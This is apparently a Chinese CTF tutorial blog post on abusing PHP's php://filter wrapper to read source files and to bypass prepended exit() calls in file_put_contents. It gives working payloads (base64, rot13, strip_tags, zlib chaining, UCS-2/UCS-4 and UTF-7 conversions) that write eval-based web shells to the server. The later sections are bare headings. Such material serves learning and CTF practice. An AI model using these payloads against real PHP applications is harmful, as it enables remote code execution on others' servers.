关于php://filter过滤器

常规的php://filter过滤器:

php://filter

在ctf比赛中最常使用的就是base64伪协议,再者就是iconv。

  1. 如用base64读取flag.php文件:php://filter/read=convert.base64-encode/resource=flag.php
  2. iconv编码转换读取:php://filter/convert.iconv.utf-8.ucs-4/resource=flag.php
php 复制代码
<?php
//index.php
include($_REQUEST['file']);
?>
php 复制代码
<?php
//flag.php
$flag='flag{test_flag}';
?>

同过base64读取flag.php的类容:

通过filter死亡绕过exit():

一般的3中形式:

https://xz.aliyun.com/t/8163

php 复制代码
file_put_contents($filename , "<?php exit();".$content);

file_put_contents($content,"<?php exit();".$content);

file_put_contents($filename,$content."\nzangShuju");

第一种形式的file_put_contents

1、base64编码绕过

php 复制代码
<?php
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename , "<?php exit();".$content);
?>

从代码可知,我们不论输入什么php的代码都会拼接到exit()后面,从而导致后面的任何语句都失效而无法执行。 而我们知道base64解码过程是按4个字符一起解码(对于不在base64编码类容里的那些特殊字符会自动忽略)。所有我们可以使用base64-decode来绕过。

比如我想插入的代码为<?php phpinfo()?>,经过base64编码后的类容为PD9waHAgcGhwaW5mbygpPz4=。

所有最终的payload就为:

php 复制代码
?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgcGhwaW5mbygpPz4=

其中在最前方加了一个a,因为phpexit为7个字符,为了满足4的倍数让base64正常解码,所有加了一个a。

成功写入 。

2、rot13编码绕过

我们都知道rot13其实就是位移13位的凯撒密码,如<?php phpinfo()?>经过rot13后变为<?cuc cucvasb()?>,所有我们可以利用这种性质来绕过exit()。

php 复制代码
?filename=php://filter/string.rot13/resource=1.php&content=<?cuc cucvasb()?>

也是成功写入,能够运行。

3、string.strip_tags绕过

string.strip_tags能过过滤掉html标签<>及类容:

php 复制代码
?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php&content=?>PD9waHAgcGhwaW5mbygpPz4=

?>是为了闭合前面<,从而形成<>

注意:string.strip_tags过滤器只是可以在php5的环境下顺利的使用,如果题目环境是在php7.3.0以上的环境下,则会发生段错误。导致写不进去;根本来说是php7.3.0中废弃了string.strip_tags这个过滤器

4、.htaccess预包含绕过

如果对方服务是运行在apache上,而不是php直接启动web服务,就可以运用此方法。

php 复制代码
filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file flag.php

5、过滤器叠加绕过

由于在php7等环境无法使用string.strip_tags过滤器,我们则可以考虑使用过滤器进行叠加,使本来的功能性代码被破坏。

php 复制代码
三个过滤器叠加之后先进行压缩,然后转小写,最后解压,会导致部分死亡代码错误,将我们的木马写入

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate/resource=shell.php
content=php://filter/zlib.deflate|string.tolower|zlib.inflate?><?php%0a@eval($_POST['cmd']);?>

其中%0a还可以用%0d,%09等字符替换。

第二种形式的file_put_contents

1、rot13绕过

php 复制代码
<?php
$filename="php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

php://filter/write=string.rot13|?><?cuc cucvasb();?>/resource=shell.php

<?cuc cucvasb();?>为<?php phpinfo();?>

2、iconv编码绕过

利用iconv编码绕过,可以将一种编码变为另一种编码模式,在php中,iconv用法为:

iconv ( string in_charset , string out_charset , string $str ) : string

1、usc-2(对目标字符串进行2位一反转,需要偶数位)
php 复制代码
<?php
echo iconv('UCS-2LE','UCS-2BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//>??<hp pe@av(l_$OPTS"[hslecldm]";)>?
$filename="php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_\$OPTS\"[hslecldm]\";)>?/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-2LE.UCS-2BE|>??<hp pe@av(l_$OPTS"[hslecldm]";)>?/resource=shell.php
2、usc-4(4位一反转,需要为4的倍数)
php 复制代码
<?php
echo iconv('UCS-4LE','UCS-4BE','?><?php @eval($_POST["shellcmd"]);?>')."\n";
//?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)
$filename="php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs\"[clle]\"dm>?;)/resource=shellcmd.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

payload:

php 复制代码
php://filter/convert.iconv.UCS-4LE.UCS-4BE|?<>? phpave@_$(lTSOPhs"[clle]"dm>?;)/resource=shellcmd.php

注意:在使用usc-2和usc-4时切记他们的倍数关系,不然会保存失败。

3、base64编码
php 复制代码
<?php

$filename="php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);
?>

如果直接按照这样编写,只会有文件名,但没有类容,因为在写入的内容中为:

<?php exit();php://filter/convert.base64-decode/PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/resource=shell.php

其中有一个等号,会发生报错,因为在base64中=表示结束的意思。

使用string.strip_tags过滤器,用其特性过滤掉html标签,即,我们可以把=包含在<>标签里过滤掉。

php 复制代码
php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+

但这样依旧有一个问题,就是保存的文件在服务器端会有一个'',导致游览器无法访问。

php 复制代码
最终payload:

php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgZXZhbCgkX1BPU1RbInNoZWxsY21kIl0pOz8+/../cmd.php

这样就会把内容保存在cmd.php文件中。

4、utf-8和utf-7间的转换
php 复制代码
<?php
//echo iconv('UTF-8','UTF-7','=').'\n';
//生成的是+AD0-,可以将=号对base64解码造成的影响解决,在'='的后面是不允许有任何其他字符的否则会报错.

echo base64_encode('<?php @eval($_POST["shellcmd"]);?>')."\n";
//PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==
$filename="php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php";
file_put_contents($filename , "<?php exit();".$filename);


echo iconv('UTF-8','UTF-7','<?php exit();php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php');
//+ADw?php exit()+ADs-php://filter/write+AD0-PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg+AD0APQB8-convert.iconv.utf-8.utf-7+AHw-convert.base64-decode/resource+AD0-shell.php

//其中+ADw?php exit()+ADs-php://filter/write+AD0-  刚好满足base64的倍数
?>

payload:

php 复制代码
php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWyJzaGVsbGNtZCJdKTs/Pg==|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

第三种形式的file_put_contents

filter-chain:

随意构造字符串

filter侧信道攻击:

相关推荐
忆源21 分钟前
【Qt】之音视频编程1:QtAV的背景和安装篇
开发语言·qt·音视频
敲键盘的小夜猫24 分钟前
Python核心数据类型全解析:字符串、列表、元组、字典与集合
开发语言·python
李匠202427 分钟前
C++GO语言微服务之图片、短信验证码生成及存储
开发语言·c++·微服务·golang
巨龙之路3 小时前
C语言中的assert
c语言·开发语言
2301_776681654 小时前
【用「概率思维」重新理解生活】
开发语言·人工智能·自然语言处理
熊大如如5 小时前
Java 反射
java·开发语言
ll7788115 小时前
C++学习之路,从0到精通的征途:继承
开发语言·数据结构·c++·学习·算法
我不想当小卡拉米6 小时前
【Linux】操作系统入门:冯诺依曼体系结构
linux·开发语言·网络·c++
teacher伟大光荣且正确6 小时前
Qt Creator 配置 Android 编译环境
android·开发语言·qt
炎芯随笔6 小时前
【C++】【设计模式】生产者-消费者模型
开发语言·c++·设计模式